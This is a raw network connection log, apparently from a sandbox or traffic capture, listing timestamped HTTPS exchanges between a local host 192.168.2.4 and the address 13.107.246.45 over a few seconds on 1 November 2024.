Nov 1, 2024 03:46:21.632958889 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.632998943 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.633043051 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.633090019 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.693273067 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.695838928 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.695880890 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.695909023 CET	49889	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.695926905 CET	443	49889	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.725403070 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.740463972 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.762974977 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.762985945 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.763473988 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.763479948 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.765938997 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.765963078 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.766326904 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.766340017 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.769721985 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.769752026 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.769848108 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.770052910 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.770066023 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.824161053 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.840547085 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.840564966 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.841037989 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.841043949 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.886920929 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.886976004 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.887054920 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.891427994 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.891547918 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.891577959 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.891658068 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.891658068 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.909415960 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.909429073 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.909442902 CET	49890	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.909447908 CET	443	49890	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.910372019 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.910372019 CET	49891	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.910397053 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.910418034 CET	443	49891	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.915498972 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.915553093 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.915652037 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.915913105 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.915932894 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.917418003 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.917438030 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.917520046 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.918098927 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.918112993 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.969260931 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.969383955 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.969443083 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.970535040 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.970545053 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.970556021 CET	49892	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.970561028 CET	443	49892	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.976862907 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.976897955 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:21.977032900 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.977207899 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:21.977221966 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.113379955 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.113954067 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.113982916 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.114463091 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.114468098 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.246182919 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.246248007 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.246347904 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.246551037 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.246577024 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.246594906 CET	49893	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.246603012 CET	443	49893	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.249608040 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.249639034 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.249708891 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.249886990 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.249901056 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.502779007 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.503284931 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.503303051 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.503844976 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.503850937 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.632258892 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.632335901 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.632396936 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.632693052 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.632708073 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.632719040 CET	49894	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.632724047 CET	443	49894	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.635665894 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.635709047 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.635910988 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.636056900 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.636074066 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.646938086 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.647388935 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.647403002 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.647922039 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.647927046 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.653367996 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.653836966 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.653873920 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.654268026 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.654278040 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.719824076 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.720428944 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.720442057 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.720963955 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.720968962 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.776767969 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.776844978 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.776885986 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.776936054 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.776979923 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.777196884 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.777211905 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.777221918 CET	49896	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.777226925 CET	443	49896	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.780103922 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.780127048 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.780230999 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.780364037 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.780374050 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.783200979 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.783288002 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.783421993 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.783597946 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.783597946 CET	49895	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.783622026 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.783632994 CET	443	49895	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.785640955 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.785676956 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.785893917 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.785893917 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.785928011 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.852530956 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.852600098 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.852708101 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.852757931 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.852817059 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.852833033 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.852843046 CET	49897	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.852849960 CET	443	49897	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.854863882 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.854876041 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:22.854964018 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.855120897 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:22.855132103 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.017266035 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.019974947 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.019990921 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.020492077 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.020498991 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.153897047 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.154042006 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.154094934 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.154282093 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.154294014 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.154305935 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.154311895 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.157258034 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.157303095 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.157474995 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.157656908 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.157675028 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.370157003 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.370676994 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.370692968 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.371179104 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.371184111 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.501815081 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.501907110 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.501956940 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.502172947 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.502188921 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.502218008 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.502224922 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.503585100 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.504057884 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.504067898 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.504585028 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.504590988 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.505949020 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.505971909 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.506113052 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.506380081 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.506393909 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.560899019 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.561589956 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.561606884 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.562398911 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.562406063 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.580106974 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.580507040 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.580523014 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.580974102 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.580979109 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.630285025 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.630342960 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.630407095 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.630619049 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.630641937 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.630651951 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.630657911 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.633599043 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.633630991 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.633805037 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.633934021 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.633945942 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.697560072 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.697582006 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.697618961 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.697628021 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.697662115 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.697809935 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.697824001 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.697833061 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.697838068 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.700793028 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.700814962 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.700898886 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.700999975 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.701019049 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.713989019 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.714099884 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.714148998 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.714179039 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.714184999 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.714220047 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.714229107 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.716156960 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.716182947 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.716423988 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.716562033 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.716576099 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.885329962 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.885853052 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.885869026 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:23.886348963 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:23.886354923 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.015260935 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.015332937 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.015368938 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.015410900 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.015455961 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.015698910 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.015713930 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.015723944 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.015732050 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.018910885 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.018930912 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.018994093 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.019166946 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.019181013 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.234988928 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.235723019 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.235747099 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.236406088 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.236412048 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.363523960 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.363640070 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.363698006 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.363965988 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.363977909 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.364833117 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.369117975 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.369132996 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.369972944 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.369977951 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.374411106 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.374444008 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.374551058 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.374712944 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.374727011 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.442317009 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.442931890 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.442955017 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.443598986 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.443604946 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.460618019 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.495721102 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.496807098 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.498431921 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.514128923 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.514138937 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.518142939 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.518148899 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.555073023 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.555092096 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.555104017 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.555109024 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.577510118 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.577584982 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.577668905 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.644718885 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.644788980 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.644865990 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.683289051 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.683310032 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.683355093 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.683363914 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.710691929 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.710705996 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.710716009 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.710722923 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.737503052 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.737545013 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.737689972 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.738707066 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.738723040 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.739562035 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.739593029 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.739721060 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.739856958 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.739872932 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.743180990 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.743216991 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.743993044 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.752970934 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.802970886 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.872894049 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.872946978 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.874718904 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.874732971 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:24.875318050 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:24.875322104 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.000411987 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.000493050 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.000556946 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.000854969 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.000871897 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:25.000885963 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:25.000891924 CET	443	49908	13.107.246.45	192.168.2.4
